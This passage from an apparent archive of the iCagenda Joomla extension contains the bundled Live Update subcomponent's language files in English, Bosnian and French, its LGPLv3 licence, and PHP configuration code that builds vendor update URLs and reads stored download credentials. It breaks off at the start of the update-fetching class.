; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/en-GB/en-GB.liveupdate.ini000060400000007724152455305300017514 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server"
LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update <var>%s</var> by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer."

LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed"
LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue."

LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that."
LIVEUPDATE_HASUPDATES_HEAD="A new version is available"
LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version"
LIVEUPDATE_CURRENTVERSION="Installed version"
LIVEUPDATE_LATESTVERSION="Latest version"
LIVEUPDATE_LATESTRELEASED="Latest release date"
LIVEUPDATE_DOWNLOADURL="Direct download URL"

LIVEUPDATE_REFRESH_INFO="Refresh update information"
LIVEUPDATE_DO_UPDATE="Update to the latest version"

LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.<br/><br/>Please provide the FTP username and password below to proceed with the update."
LIVEUPDATE_FTP="FTP Information"
LIVEUPDATE_FTPUSERNAME="FTP Username"
LIVEUPDATE_FTPPASSWORD="FTP Password"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update"

LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration."
LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed."
LIVEUPDATE_INSTALLEXT="Install %s %s"
LIVEUPDATE_ERROR="Error"
LIVEUPDATE_SUCCESS="Success"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported"
LIVEUPDATE_ICON_CRASHED="Live Update crashed"
LIVEUPDATE_ICON_CURRENT="You have the latest version"
LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE."

LIVEUPDATE_RELEASEINFO="Information"
LIVEUPDATE_RELEASENOTES="Release notes"
LIVEUPDATE_READMOREINFO="Read more"

LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an adverse effect to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

LIVEUPDATE_STABILITY_ALPHA="Alpha"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Stable"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/bs-BA/bs-BA.liveupdate.ini000060400000010270152455305300017472 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Nadogradnja uživo"

LIVEUPDATE_NOTSUPPORTED_HEAD="Nadogradnaj uživo nije podržana na ovo serveru"
LIVEUPDATE_NOTSUPPORTED_INFO="Vaš server ukazuje da Nadogradnja uživo nije podržana. Molimo kontaktirajte vaš host i pitajte da omoguće cURL PHP ekstenziju ili aktiviraju URL fopen() omotače. Ako su ove već omogućene, molimo da ih pitate da podese vatreni zid kako bi dozvolio pristup sljedećem URL-u:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Možete uvijek nadograditi <var>%s</var> tako što će te ručno posjetiti našu stanicu, gdje možete preuzeti posljednje izdanje i instalirati upotrebom Joomla! instalera za ekstenzije."

LIVEUPDATE_STUCK_HEAD="Nadogradnja uživo se označila kao srušena"
LIVEUPDATE_STUCK_INFO="Nadogradnja uživo je odredila da se srušila posljednji put pri pokušaju da kontaktira server za nadogradnu. Ovo pretežno ukazuje na host koji aktivno blokira komunikaciju sa eksternim stranicama. Ako želite pokušati povući informacije o nadogradnji, molimo kliknite na "_QQ_"Osvježi informacije o nadogradnji"_QQ_" dugme ispod. Ako to rezultira sa praznom stranicom, molimo kontaktirajte svoj host i prijavite ovaj problem."

LIVEUPDATE_ERROR_NEEDSAUTH="Morate obezbijediti vaše korisničko ime/šifru ili ID za preuzimanje na parametre komponente prije pokušavanja nadogradnej na zadnje izdanje. Dugme za nadogradnju će ostati isključeno sve dok to ne učinite."
LIVEUPDATE_HASUPDATES_HEAD="Dostupna je nova verzija"
LIVEUPDATE_NOUPDATES_HEAD="Već posjedujete posljednju verziju"
LIVEUPDATE_CURRENTVERSION="Instalirana verzija"
LIVEUPDATE_LATESTVERSION="Posljednja verzija"
LIVEUPDATE_LATESTRELEASED="Datum posljednjeg izdanja"
LIVEUPDATE_DOWNLOADURL="Direktan URL za preuzimanje"

LIVEUPDATE_REFRESH_INFO="Osvježi informacije o nadogradnji"
LIVEUPDATE_DO_UPDATE="Nadogradi na posljednju verziju"

LIVEUPDATE_FTP_REQUIRED="Nadogradnja uživo je odredila da je potrebna upotreba FTP-a kako bi se preuzela i instalirala vaša nadogradnja, ali niste snimili vaše FTP informacije za prijavu u Joomla! globalnoj konfiguraciji.<br/><br/>Molimo da obezbjedite FTP korisničko ime i šifru ispod kako bi nastavili sa nadogradnjom."
LIVEUPDATE_FTP="FTP informacija"
LIVEUPDATE_FTPUSERNAME="FTP korisničko ime"
LIVEUPDATE_FTPPASSWORD="FTP šifra"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Preuzmi i instaliraj nadogradnju"

LIVEUPDATE_DOWNLOAD_FAILED="Preuzimanje paketa nadogradnje je neuspješno. Provjerite da li je vaš privremeni direktorij zapisiv ili da li imate uključene Joomla! FTP opcije na vašoj globalnoj konfiguraciji za stranicu."
LIVEUPDATE_EXTRACT_FAILED="Otpakivanje paketa nadogradnje neuspješno. Molimo da pokušate ručno nadograditi ekstenziju."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Nevažeći tip paketa. Nadogradnja se ne može nastaviti."
LIVEUPDATE_INSTALLEXT="Instaliraj %s %s"
LIVEUPDATE_ERROR="Greška"
LIVEUPDATE_SUCCESS="Uspjeh"

LIVEUPDATE_ICON_UNSUPPORTED="Nadogradnja uživo nije podržana"
LIVEUPDATE_ICON_CRASHED="Nadogradnja uživo se srušila"
LIVEUPDATE_ICON_CURRENT="Posjedujete posljednju verziju"
LIVEUPDATE_ICON_UPDATES="NADOGRADNJA PRONAĐENA! KLIKNITE ZA NADOGRADNJU."

LIVEUPDATE_RELEASEINFO="Informacije"
LIVEUPDATE_RELEASENOTES="Obavijesti o izdanju"
LIVEUPDATE_READMOREINFO="Pročitaj više"

LIVEUPDATE_NAGSCREEN_HEAD="UPOZORENJE! Upravo će te instalirati nestabilnu verziju."
LIVEUPDATE_NAGSCREEN_BODY="Upravo će te instalirati nestabilnu verziju (%s - %s). Nestabilne verzije su prošle minimalno ili nikakvo testiranje i sadrže greške koje štete stabilnosti i funkcionalnosti vaše web-stranice. Ako niste sigurno šta će te raditi, molimo da zatvorite prozor preglednika. Ako se potpuno sigurni da razumijete rizike uključene za instalacijom nestabilnih izdanja, molimo da kliknete dugme ispod kako bi nastavili instalaciju ovog nestabilnog izdanja."
LIVEUPDATE_NAGSCREEN_BUTTON="Razumijem rizike. Nastavi sa instalacijom."

LIVEUPDATE_STABILITY_ALPHA="Alfa"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Stabilna"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/fr-FR/fr-FR.liveupdate.ini000060400000015002152455305300017550 0ustar00; Akeeba Live Update
; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
;
; ADMIN [com_icagenda/liveupdate]	: liveupdate.ini
; Translation on Transifex			: https://www.transifex.com/projects/p/icagenda/
; iCagenda Version					: Copyright (c) 2013 JoomliC.com


LIVEUPDATE_TASK_OVERVIEW="Live Update"

LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur"
LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et lui demander d'activer l'extension PHP cURL ou activer la fonction fopen URL (). Si ceux-ci sont déjà activés, veuillez lui demander d'adapter le pare-feu pour qu'il autorise l'accès à l'URL suivante:";
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour <var>%s</ var> à partir de notre site internet, après avoir télécharger la dernière version et effectuer son installation via la gestion des extensions de Joomla!"

LIVEUPDATE_STUCK_HEAD="Live Update a échoué !"
LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de se connecter au serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème."

LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez indiquer vos identifiant/mot de passe ou votre Download ID dans les paramètres du composant. Le bouton de mise à niveau restera désactivé jusqu'à ce que vous le faites."
LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible"
LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version"
LIVEUPDATE_CURRENTVERSION="Version installée"
LIVEUPDATE_LATESTVERSION="Dernière version"
LIVEUPDATE_LATESTRELEASED="Date de la dernière version "
LIVEUPDATE_DOWNLOADURL="URL de téléchargement direct"

LIVEUPDATE_REFRESH_INFO="Rafraîchir les informations de mise à jour"
LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version"

LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la 'Configuration' de Joomla!<br/><br/>Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour."
LIVEUPDATE_FTP="Informations FTP"
LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP"
LIVEUPDATE_FTPPASSWORD="Mot de passe FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installer la mise à jour"

LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!."
LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas être effectuée."
LIVEUPDATE_INSTALLEXT="Installation %s %s"
LIVEUPDATE_ERROR="Erreur"
LIVEUPDATE_SUCCESS="effectuée avec succès"

; Added iCagenda
LIVEUPDATE_INSTALL_ERROR="Erreur à l'installation %s"
LIVEUPDATE_INSTALL_SUCCESS="Installation %s effectuée avec succès."
LIVEUPDATE_INSTALL_TYPE_COMPONENT="du composant iCagenda"
LIVEUPDATE_INSTALL_TYPE_FILE="du fichier"
LIVEUPDATE_INSTALL_TYPE_LANGUAGE="de la langue"
LIVEUPDATE_INSTALL_TYPE_LIBRARY="de la bibliothèque"
LIVEUPDATE_INSTALL_TYPE_MODULE="du module"
LIVEUPDATE_INSTALL_TYPE_PACKAGE="du paquet"
LIVEUPDATE_INSTALL_TYPE_PLUGIN="du plug-in"
LIVEUPDATE_INSTALL_TYPE_TEMPLATE="du template"

LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge"
LIVEUPDATE_ICON_CRASHED="Live Update a échoué!"
LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version"
LIVEUPDATE_ICON_UPDATES="Mise à jour disponible! Cliquez pour mettre à jour."

LIVEUPDATE_RELEASEINFO="Informations"
LIVEUPDATE_RELEASENOTES="Notes de version"
LIVEUPDATE_READMOREINFO="Plus d'infos"

LIVEUPDATE_NAGSCREEN_HEAD="ATTENTION! Vous êtes sur le point d'installer une version instable."
LIVEUPDATE_NAGSCREEN_BODY="Vous êtes sur le point d'installer une version dite instable (%s - %s). Les versions instables sont des versions ayant subi peu de tests, voir aucun, et qui peuvent contenir des bugs avec une conséquence importante sur la stabilité et la fonctionnalité de votre site internet. Si vous n'êtes pas sûr de ce que vous êtes sur le point de faire, merci de fermer cette fenêtre et de revenir en arrière. Si vous comprenez parfaitement les risques liés à l'utilisation d'une version instable, vous pouvez cliquer sur le bouton ci-dessous pour continuer l'installation de cette version."
LIVEUPDATE_NAGSCREEN_BUTTON="Je comprends les risques. Poursuivre l'installation."

LIVEUPDATE_STABILITY_ALPHA="Alpha"
LIVEUPDATE_STABILITY_BETA="Bêta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Stable"

; Added iCagenda
LIVEUPDATE_ERROR_NEEDS_PRO_ID="Pour activer le bouton de mise à jour, vous devez indiquer dans les paramètres d'iCagenda votre licence Pro ID de mise à jour."
LIVEUPDATE_NAGSCREEN_HEAD_ICAGENDA = "ATTENTION! Vous êtes sur le point d'installer une version beta-test d'iCagenda."
LIVEUPDATE_NAGSCREEN_VERSION_ICAGENDA = "Version de test et de développement(iCagenda %s - %s)."
LIVEUPDATE_NAGSCREEN_BODY_ICAGENDA = "Le cycle de vie d'une version d'un logiciel est la somme des phases de développement, de tests et de maturité.<br/><b>Alpha :</b>peut être instable et peut causer des accidents ou des pertes de données.<br/><b>Beta :</b>a généralement plus de bugs que le logiciel terminée, cette version est destinée aux sites de tests uniquement.<br/><b>RC (Release Candidate) :</b> version bêta avec le potentiel pour être un produit final, qui est prête à être libérée à moins que des bugs importants émergent.<br/>Si vous n'êtes pas sûr de ce que vous êtes sur le point de faire, merci de fermer cette fenêtre et de revenir en arrière. Si vous êtes absolument certain que vous comprenez les risques liés à l'installation des versions instables, vous pouvez cliquer sur le bouton ci-dessous pour continuer l'installation de cette version.<br/>"
LIVEUPDATE_NAGSCREEN_FOOTER_ICAGENDA = "info:"
com_icagenda/liveupdate/LICENSE.txt000060400000020215152455305300013120 0ustar00==============================================================================
Akeeba Live Update - One-click updates for Joomla! extensions
Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com

Live Update is a sub-component to assist you in providing one-click updates
for your Joomla! 1.5 and Joomla! 1.6 extensions. It is licensed under the
GNU Lesser General Public License version 3 or, at your option, any later
version published by the Free Software Foundation. You can use it royalty-
free in any Joomla! extension, Free or Proprietary. The full text of its
license is provided below.
==============================================================================

                   GNU LESSER GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.


  This version of the GNU Lesser General Public License incorporates
the terms and conditions of version 3 of the GNU General Public
License, supplemented by the additional permissions listed below.

  0. Additional Definitions.

  As used herein, "this License" refers to version 3 of the GNU Lesser
General Public License, and the "GNU GPL" refers to version 3 of the GNU
General Public License.

  "The Library" refers to a covered work governed by this License,
other than an Application or a Combined Work as defined below.

  An "Application" is any work that makes use of an interface provided
by the Library, but which is not otherwise based on the Library.
Defining a subclass of a class defined by the Library is deemed a mode
of using an interface provided by the Library.

  A "Combined Work" is a work produced by combining or linking an
Application with the Library.  The particular version of the Library
with which the Combined Work was made is also called the "Linked
Version".

  The "Minimal Corresponding Source" for a Combined Work means the
Corresponding Source for the Combined Work, excluding any source code
for portions of the Combined Work that, considered in isolation, are
based on the Application, and not on the Linked Version.

  The "Corresponding Application Code" for a Combined Work means the
object code and/or source code for the Application, including any data
and utility programs needed for reproducing the Combined Work from the
Application, but excluding the System Libraries of the Combined Work.

  1. Exception to Section 3 of the GNU GPL.

  You may convey a covered work under sections 3 and 4 of this License
without being bound by section 3 of the GNU GPL.

  2. Conveying Modified Versions.

  If you modify a copy of the Library, and, in your modifications, a
facility refers to a function or data to be supplied by an Application
that uses the facility (other than as an argument passed when the
facility is invoked), then you may convey a copy of the modified
version:

   a) under this License, provided that you make a good faith effort to
   ensure that, in the event an Application does not supply the
   function or data, the facility still operates, and performs
   whatever part of its purpose remains meaningful, or

   b) under the GNU GPL, with none of the additional permissions of
   this License applicable to that copy.

  3. Object Code Incorporating Material from Library Header Files.

  The object code form of an Application may incorporate material from
a header file that is part of the Library.  You may convey such object
code under terms of your choice, provided that, if the incorporated
material is not limited to numerical parameters, data structure
layouts and accessors, or small macros, inline functions and templates
(ten or fewer lines in length), you do both of the following:

   a) Give prominent notice with each copy of the object code that the
   Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the object code with a copy of the GNU GPL and this license
   document.

  4. Combined Works.

  You may convey a Combined Work under terms of your choice that,
taken together, effectively do not restrict modification of the
portions of the Library contained in the Combined Work and reverse
engineering for debugging such modifications, if you also do each of
the following:

   a) Give prominent notice with each copy of the Combined Work that
   the Library is used in it and that the Library and its use are
   covered by this License.

   b) Accompany the Combined Work with a copy of the GNU GPL and this license
   document.

   c) For a Combined Work that displays copyright notices during
   execution, include the copyright notice for the Library among
   these notices, as well as a reference directing the user to the
   copies of the GNU GPL and this license document.

   d) Do one of the following:

       0) Convey the Minimal Corresponding Source under the terms of this
       License, and the Corresponding Application Code in a form
       suitable for, and under terms that permit, the user to
       recombine or relink the Application with a modified version of
       the Linked Version to produce a modified Combined Work, in the
       manner specified by section 6 of the GNU GPL for conveying
       Corresponding Source.

       1) Use a suitable shared library mechanism for linking with the
       Library.  A suitable mechanism is one that (a) uses at run time
       a copy of the Library already present on the user's computer
       system, and (b) will operate properly with a modified version
       of the Library that is interface-compatible with the Linked
       Version.

   e) Provide Installation Information, but only if you would otherwise
   be required to provide such information under section 6 of the
   GNU GPL, and only to the extent that such information is
   necessary to install and execute a modified version of the
   Combined Work produced by recombining or relinking the
   Application with a modified version of the Linked Version. (If
   you use option 4d0, the Installation Information must accompany
   the Minimal Corresponding Source and Corresponding Application
   Code. If you use option 4d1, you must provide the Installation
   Information in the manner specified by section 6 of the GNU GPL
   for conveying Corresponding Source.)

  5. Combined Libraries.

  You may place library facilities that are a work based on the
Library side by side in a single library together with other library
facilities that are not Applications and are not covered by this
License, and convey such a combined library under terms of your
choice, if you do both of the following:

   a) Accompany the combined library with a copy of the same work based
   on the Library, uncombined with any other library facilities,
   conveyed under the terms of this License.

   b) Give prominent notice with the combined library that part of it
   is a work based on the Library, and explaining where to find the
   accompanying uncombined form of the same work.

  6. Revised Versions of the GNU Lesser General Public License.

  The Free Software Foundation may publish revised and/or new versions
of the GNU Lesser General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.

  Each version is given a distinguishing version number. If the
Library as you received it specifies that a certain numbered version
of the GNU Lesser General Public License "or any later version"
applies to it, you have the option of following the terms and
conditions either of that published version or of any later version
published by the Free Software Foundation. If the Library as you
received it does not specify a version number of the GNU Lesser
General Public License, you may choose any version of the GNU Lesser
General Public License ever published by the Free Software Foundation.

  If the Library as you received it specifies that a proxy can decide
whether future versions of the GNU Lesser General Public License shall
apply, that proxy's public statement of acceptance of any version is
permanent authorization for you to choose that version for the
Library.com_icagenda/liveupdate/classes/abstractconfig.php000060400000022555152455305300016445 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.4.0.1 2014-12-25
 * @since       1.2.6
 *
 * ADDED (3.3.6)			: option for min_stability in getMinimumStability()
 * CHANGED (3.4.0-alpha2)	: option for updateURL in getUpdateURL() (set updateURL depending on getMinimumStability())
 * ADDED (3.4.0-alpha2)		: Own server for Testing Updates (Alpha & Beta)
 * ADDED (3.4.0)			: filter getAuthorization()
 */

defined('_JEXEC') or die();

/**
 * This is the base class inherited by the config.php file in LiveUpdate's root.
 * You may override it non-final members to customise its behaviour.
 * @author Nicholas K. Dionysopoulos <nicholas@akeebabackup.com>
 *
 */
abstract class LiveUpdateAbstractConfig extends JObject
{
	/** @var string The extension name, e.g. com_foobar, plg_foobar, mod_foobar, tpl_foobar etc */
	protected $_extensionName = 'com_icagenda';
	/** @var string The human-readable name of your extension */
	protected $_extensionTitle = 'iCagenda - Events Management Extension for Joomla!';
	/**
	 * The filename of the XML manifest of your extension. Leave blank to use extensionname.xml. For example,
	 * if the extension is com_foobar, it will look for com_foobar.xml and foobar.xml in the component's
	 * directory.
	 * @var string
	 * */
	protected $_xmlFilename = '';

	/** @var string The information storage adapter to use. Can be 'file' or 'component' */
	protected $_storageAdapter = 'file';
	/** @var array The configuration options for the storage adapter used */
	protected $_storageConfig = array('path' => JPATH_CACHE);
	/**
	 * How to determine if a new version is available. 'different' = if the version number is different,
	 * the remote version is newer, 'vcompare' = use version compare between the two versions, 'newest' =
	 * compare the release dates to find the newest. I suggest using 'different' on most cases.
	 * @var string
	 */
	protected $_versionStrategy = 'different';

	/** @var The current version of your extension. Populated automatically from the XML manifest. */
	protected $_currentVersion = '';
	/** @var The current release date of your extension. Populated automatically from the XML manifest. */
	protected $_currentReleaseDate = '';

	/** @var string The URL to the INI update stream of this extension */
	protected $_updateURL = '';
	/** @var bool Does the download URL require authorization to download the package? */
	protected $_requiresAuthorization = false;

	/** @var string The username to authorize a download on your site */
	protected $_username = '';
	/** @var string The password to authorize a download on your site */
	protected $_password = '';
	/** @var string The Download ID to authorize a download on your site; use it instead of the username/password pair */
	protected $_downloadID = '';

	/** @var string The path to a local copy of cacert.pem, required if you plan on using HTTPS URLs to fetch live udpate information or download files from */
	protected $_cacerts = null;

	/** @var string The minimum stability level to report as available update. One of alpha, beta, rc and stable. */
	protected $_minStability = 'stable';

	/**
	 * Singleton implementation
	 * @return LiveUpdateConfig An instance of the Live Update configuration class
	 */
	public static function &getInstance()
	{
		static $instance = null;

		if(!is_object($instance)) {
			$instance = new LiveUpdateConfig();
		}

		return $instance;
	}

	/**
	 * Public constructor. It populates all extension-specific fields. Override to your liking if necessary.
	 */
	public function __construct()
	{
		parent::__construct();
		$this->populateExtensionInfo();
		$this->populateAuthorization();
	}

	/**
	 * Returns the URL to the update INI stream. By default it returns the value to
	 * the protected $_updateURL property of the class. Override with your implementation
	 * if you want to modify its logic.
	 */
	public function getUpdateURL()
	{
		$minStability = self::getMinimumStability();

		switch($minStability) {
			case 'alpha':
			default:
				// Reports any stability level as an available update
				$ic_updateURL = 'http://pro.joomlic.com/index.php?option=com_ars&view=update&format=ini&id=2';
				break;

//			case 'beta':
				// Do not report alphas as available updates
//				if(in_array($stability, array('alpha'))) return 0;
//				break;

			case 'rc':
				// Do not report alphas and betas as available updates
				$ic_updateURL = 'http://pro.joomlic.com/index.php?option=com_ars&view=update&format=ini&id=1';
				break;

			case 'stable':
				// Do not report alphas, betas and rcs as available updates
				$ic_updateURL = 'http://pro.joomlic.com/index.php?option=com_ars&view=update&format=ini&id=1';
				break;
		}


		return $ic_updateURL;
//		return $this->_updateURL;
	}

	/**
	 * Override this ethod to load customized CSS and media files instead of the stock
	 * CSS and media provided by Live Update. If you override this class it MUST return
	 * true, otherwise LiveUpdate's CSS will be loaded after yours and will override your
	 * settings.
	 *
	 * @return bool Return true to stop Live Update from loading its own CSS files.
	 */
	public function addMedia()
	{
		return false;
	}

	/**
	 * Gets the authorization string to append to the download URL. It returns either the
	 * download ID or username/password pair. Please override the class constructor, not
	 * this method, if you want to fetch these values.
	 */
	public final function getAuthorization()
	{
		if (!empty($this->_downloadID))
		{
			return "dlid=".urlencode($this->_downloadID);
		}
		elseif (!empty($this->_username) && !empty($this->_password))
		{
			$_pass = str_replace('/', '.', $this->_password);
			$pass_ex = explode('.', $_pass);

			if (isset($pass_ex[1]))
			{
				$password = base64_decode($pass_ex[1]);
			}
			else
			{
				$password = $this->_password;
			}

			return "username=".urlencode($this->_username)."&password=".urlencode($password);
		}

		return "";
	}

	public final function requiresAuthorization()
	{
		return $this->_requiresAuthorization;
	}

	/**
	 * Returns all the information we have about the extension and its update preferences
	 * @return array The extension information
	 */
	public final function getExtensionInformation()
	{
		return array(
			'name'			=> $this->_extensionName,
			'title'			=> $this->_extensionTitle,
			'version'		=> $this->_currentVersion,
			'date'			=> $this->_currentReleaseDate,
//			'updateurl'		=> $this->_updateURL,
			'updateurl'		=> self::getUpdateURL(),
			'requireauth'	=> $this->_requiresAuthorization
		);
	}

	/**
	 * Returns the information regarding the storage adapter
	 * @return array
	 */
	public final function getStorageAdapterPreferences()
	{
		$config = $this->_storageConfig;
		$config['extensionName'] = $this->_extensionName;

		return array(
			'adapter'		=> $this->_storageAdapter,
			'config'		=> $config
		);
	}

	public final function getVersionStrategy()
	{
		return $this->_versionStrategy;
	}

	/**
	 * Get the current version from the XML manifest of the extension and
	 * populate the class' properties.
	 */
	private function populateExtensionInfo()
	{
		require_once dirname(__FILE__).'/xmlslurp.php';
		$xmlslurp = new LiveUpdateXMLSlurp();
		$data = $xmlslurp->getInfo($this->_extensionName, $this->_xmlFilename);
		if(empty($this->_currentVersion)) $this->_currentVersion = $data['version'];
		if(empty($this->_currentReleaseDate)) $this->_currentReleaseDate = $data['date'];
	}

	/**
	 * Fetch username/password and Download ID from the component's configuration.
	 */
	protected function populateAuthorization()
	{
		if(!$this->_requiresAuthorization) return;

		// Do we already have authorizaton information?
		if( (!empty($this->_username) && !empty($this->_password)) || !empty($this->_downloadID) ) {
			return;
		}

		if(substr($this->_extensionName,0,3) != 'com') return;

		// Not using JComponentHelper to avoid conflicts ;)
		$db = JFactory::getDbo();
		$sql = $db->getQuery(true)
			->select($db->qn('params'))
			->from($db->qn('#__extensions'))
			->where($db->qn('type').' = '.$db->q('component'))
			->where($db->qn('element').' = '.$db->q($this->_extensionName));
		$db->setQuery($sql);
		$rawparams = $db->loadResult();
		$params = new JRegistry();
		$params->loadString($rawparams, 'JSON');

		$this->_username	= $params->get('username','');
		$this->_password	= $params->get('password','');
		$this->_downloadID	= $params->get('downloadid','');
	}

	public function applyCACert(&$ch)
	{
		if(!empty($this->_cacerts)) {
			if(file_exists($this->_cacerts)) {
				@curl_setopt($ch, CURLOPT_CAINFO, $this->_cacerts);
			}
		}
	}

	public function getMinimumStability()
	{
		// Not using JComponentHelper to avoid conflicts ;)
		$db = JFactory::getDbo();
		$sql = $db->getQuery(true)
			->select($db->qn('params'))
			->from($db->qn('#__extensions'))
			->where($db->qn('type').' = '.$db->q('component'))
			->where($db->qn('element').' = '.$db->q('com_icagenda'));
		$db->setQuery($sql);
		$rawparams = $db->loadResult();
		$params = new JRegistry();
		$params->loadString($rawparams, 'JSON');

		$ic_minStability	= $params->get('min_stability','stable');

		return $ic_minStability;
	}
}
com_icagenda/liveupdate/classes/updatefetch.php000060400000025330152455305300015742 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5 - 2.2.1
 * @copyright Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.4.0.1 2014-12-25
 * @since       1.2.6
 *
 * CHANGED (3.4.0)	: Remove Duplicated Auth info at end of url
 */

defined('_JEXEC') or die();

/**
 * Fetches the update information from the server or the cache, depending on
 * whether the cache is fresh or not.
 */
class LiveUpdateFetch extends JObject
{
	private $cacheTTL = 24;

	private $storage = null;

	/**
	 * One-stop-shop function which fetches update information and tells you
